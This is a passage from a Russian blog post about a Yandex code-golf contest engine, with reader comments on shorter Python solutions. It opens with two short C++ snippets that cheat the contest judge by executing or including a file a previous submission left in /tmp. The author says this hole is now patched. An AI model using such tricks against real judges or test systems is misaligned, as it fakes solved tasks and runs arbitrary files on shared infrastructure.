Второе решение, которое мы отправим, просто прочитает правильное решение из этого файла и запустит его. Вот так выглядит правильное решение любой (!!!!) задачи в 47 символов:
#import<cstdlib>
int main(){system("/tmp/a");}
Ну и квинтэссенция грязных хаков: решение любой задачи на C++ в 15 символов:
#import"/tmp/x"
Понимаю, что это не будет оправданием, но лет 10 назад, когда на HackerRank была ещё секция с код-гольфом, там была возможность, решив N задач, заработать баллы и на них «купить» возможность подсмотреть одно произвольное решение произвольной задачи от любого пользователя.
Я подсмотрел решение одной задачи на код-гольфе: человек просто написал коротенький bash-скрипт, который ищет файл с ответом в файловой системе и выводит его. Ну что сказать: не я один страдаю от таких грязных хаков :) И вообще, где я и где HackerRank...
Дальнейшая судьба
Остальные запуски соревнования были только для внутренних ивентов, в том числе и на весь Яндекс, а не только в рамках Яндекс Доставки или Городских сервисов. Теперь мы активно работаем над этой штукой вдвоём (в свободное время по большей части, разумеется). Мы уже залатали те хаки, потому что это весело, но это одноразовая история.
Задачи с внутренних событий публиковать не буду: есть шанс, что мы захотим особо крутые переиспользовать в публичных соревнованиях. Там такая красота, когда для короткого разбора строк используются комплексные числа, например...
Как я и сказал вначале, сейчас мы проводим эти соревнования на Яндекс tech tour (ближайший пройдёт 22 ноября в Нижнем Новгороде).
Вместо заключения
В итоге то, что начиналось как внутренняя, локальная движуха, стало интересной активностью, в том числе и на внешнюю аудиторию.
Спасибо тем, кто принимал участие. Со многими я лично говорил — вы классные ? Рад, что людей, которым весело пописать код в каком-то странном формате, больше, чем я и несколько моих коллег.
Спасибо нашим DevRel, которые эту активность пушат и всё время ищут новые форматы работы с аудиторией. Спасибо моим коллегам и руководителям, которые с энтузиазмом помогали прорешивать задачи и искать проблемы в движке.
Эту активность можно собрать в настоящий киберспортивный сайт, по типу Codeforces. Однако польза таких упражнений, помимо фана, сомнительная, а угробить кучу сил на сомнительную историю... Я знаю много людей, которые «знают, как надо», и очень мало людей, которые готовы «сделать, как надо». Поэтому пока это останется той же поделкой, которую мы будем постепенно, понемногу, шаг за шагом улучшать.
Спасибо, что дочитали аж досюда, а если вы ещё и участвовали в код-гольфе на наших конференциях — напишите о своих впечатлениях в комментариях. Мне будет очень интересно почитать.
Комментарии (10)

domix32
20.11.2025 08:16А вы знали, что у функции
mainвозвращаемое значение — необязательное? Точнее, на clang это будет ошибка, а на gcc — всего лишь warning.afaik по тому же принципу можно и инклюды не писать и просто указать их как параметры компиляции.

cadovvl Автор
20.11.2025 08:16Параметры компиляции мы зафиксировали для соревнования, так не получится, увы

algol
20.11.2025 08:16Продвинутый код-гольф
https://habr.com/ru/articles/330090/
https://habr.com/ru/articles/352970/

phvoryh
20.11.2025 08:16Немного идей к лучшим решениям на Python:
Ёлочка (61)
Решение из статьи:
n=int(input()) for i in [*range(n),1]:print(' '*(n-i)+'*'*(2*i+1))Вместо списка можно генерировать кортеж, да и пробел там не нужен (минус 3 символа):
n=int(input()) for i in*range(n),1:print(' '*(n-i)+'*'*(2*i+1))Вместо
2*i+1можно написать простое и понятноеi-~i. Впрочем, в данном конкретном случае можно сэкономить символ проще:n=int(input()) for i in*range(n),1:print(' '*(n-i)+'*'+'**'*i)Наконец, символ можно отыграть моржовым оператором:
for i in*range(n:=int(input())),1:print(' '*(n-i)+'*'+'**'*i)Обратный отсчет (174)
Решение из статьи:
p=print for i in range(int(input()),0,-1):p('До Нового года остал'+"оссяь"[i<2::2],i,f'д{"неннненяяяйь"[i*(i<5)::5]}!') p('С Новым годом!')Если приходится передавать в
rangeнесколько аргументов, то почти всегда короче переписать наwhile(минус 6 символов):p=print i=int(input()) while i:p('До Нового года остал'+"оссяь"[i<2::2],i,f'д{"неннненяяяйь"[i*(i<5)::5]}!');i-=1 p('С Новым годом!')Строка
"ня"закодирована 3 раза. Хочется подобрать выражение, которое будет переводить числа 2, 3, 4 в одно значение (минус 5 байт):p=print i=int(input()) while i:p('До Нового года остал'+"оссяь"[i<2::2],i,f'д{"енннеяьй"[1%i<<(i<5)::3]}!');i-=1 p('С Новым годом!')Она [задача «Переставлюн»] создавалась как задача, которую на С++ будет решить короче, чем на Python.
Переставлюн (90)
Генерируем перестановки, пока не встретится поданная на вход, выводим следующую:
from itertools import* s=*input(), p=permutations(sorted(s)) s in p print(*next(p),sep='')Если необходимо поддержать поведение
std::next_permutation, который из последней перестановки делает первую, то получается 95 символов:from itertools import* s=*input(), p=permutations(t:=sorted(s)) s in p print(*next(p,t),sep='')Но у этих решений есть небольшая проблема с асимптотикой...

cadovvl Автор
20.11.2025 08:16Асимптотика не важна, там timelimit секунда, а букв пара десятков.
Переставлюн проверю, вернусь. (вспомнить, как тот сервер поднимать еще). Спасибо за идею, клевая!
Про елочку - да, есть такие трюки, но тогда мы до них не догадались. Были только в начале пути :). Потом всплывали идеи, моржи и тупл точно был. Но этот сервер я не поднимал, поэтому не осталось логов. Вполне возможно, вы нашли решение лучше, чем мы даже обсуждали.

cadovvl Автор
20.11.2025 08:16Переставлюн не проходит:

Падает с таймаутом.
subprocess.TimeoutExpired:Все-таки асимптотика зарешала... Попробовал оба варианта. Я на всякий случай еще проверил загрузку проца - нет, честный таймаут.
Йолочка прошла

Во второй пришлось подправить: новый в цикле надо писать с маленькой, а год в последнем сообщении с большой.
Если поправить - проходит:

Круто!!! Спасибо за решения !
s_f1
Кодгольфить надо на Ruby, обычно выходит короче, чем Python )
cadovvl Автор
Добавил фич реквест.
В теории добавить руби не сложно, но у нас нет людей, которые на нем задачи прорешивать бы могли.
tenzink
Тогда уже Perl
cadovvl Автор
Ох. У нас тут в Казане на техтуре Java добавить просили. Не потому что коротко, просто интересно попробовать :)
Кстати, Java даже где-то в движке у нас прикопана, просто выключена.